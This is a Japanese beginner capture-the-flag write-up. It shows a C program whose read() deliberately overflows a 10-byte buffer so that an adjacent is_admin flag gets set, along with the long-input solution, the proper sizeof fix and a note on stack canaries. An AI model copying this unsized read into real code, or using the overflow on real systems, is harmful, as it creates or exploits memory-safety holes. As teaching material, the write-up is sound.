問題
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
解法
buf[10] に対して read(0, buf, 0x10) で16バイト読み込める。
スタック上でbufの直後にis_adminがあるので、12文字以上入力すればis_adminが非ゼロになる。
$ nc HOST PORT
name:aaaaaaaaaaaaa
Hello, aaaaaaaaaaaaa
ctf4b{******}
解けた。
バッファオーバーフローとスタック
スタック上の変数配置
関数内のローカル変数は、宣言された順にスタック上に配置される。
今回の場合、
char buf[10] = {0}; // 先に宣言
int is_admin = 0; // 後に宣言
メモリ上では連続して配置される(パディングを含む)ため、bufへの書き込みが溢れるとis_adminを上書きできる。
read関数の落とし穴
read(0, buf, 0x10); // 16バイト読み込む
bufは10バイトしかないのに16バイト読み込んでいる。
これがバッファオーバーフローの原因。
正しくは
read(0, buf, sizeof(buf)); // 10バイトのみ読み込む
Stack Canary
本来はこのような脆弱性を防ぐためにStack Canaryという保護機構がある。
バッファと重要なデータの間に特殊な値を置いて、改ざんを検知する。
コンパイル時に-fstack-protectorオプションで有効化できる。